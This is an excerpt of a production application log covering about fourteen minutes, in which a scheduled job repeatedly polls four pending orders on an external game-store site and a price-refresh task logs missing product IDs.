[2026-03-24 02:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:28:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01"} 
[2026-03-24 02:28:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:28:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:28:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JMY6KWqexBOtQGCPCQxYAnJQbq1UtWIk","execution_time":"2026-03-24 02:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02"} 
[2026-03-24 02:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:30:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:30:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:30:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:30:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zJAkXATZqbKKxPP6szLuPQUhIm5cWNlo","execution_time":"2026-03-24 02:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:30:04] production.INFO: async() رجع: true  
[2026-03-24 02:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:30:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02"} 
[2026-03-24 02:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5F3QBTKFjl5Eq0p9m7rvccIxj6xFAhOI","execution_time":"2026-03-24 02:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02"} 
[2026-03-24 02:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WLPwzEOiNWIktmgjOPWdZ4DIX9iYp0rf","execution_time":"2026-03-24 02:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 02:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 02:35:05] production.INFO: async() رجع: true  
[2026-03-24 02:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03"} 
[2026-03-24 02:36:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:36:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:36:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:36:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:36:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:36:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:36:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WmsO7PU3DfhmJgqdqcOQUbQcd3CVTZpE","execution_time":"2026-03-24 02:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:38:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03"} 
[2026-03-24 02:38:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:38:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:38:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qa2n2iBFbuM66oM5iYYkISe61ArH0O1w","execution_time":"2026-03-24 02:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:40:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01"} 
[2026-03-24 02:40:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:40:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:40:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:40:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:40:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:40:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:40:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rBuuch4Cl9QoTTLbtqwhtwPPtOJNTSBV","execution_time":"2026-03-24 02:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:40:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:40:03] production.INFO: async() رجع: true  
[2026-03-24 02:40:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:40:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:40:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:40:04] production.INFO: خلصت refreshPriceinsite()  
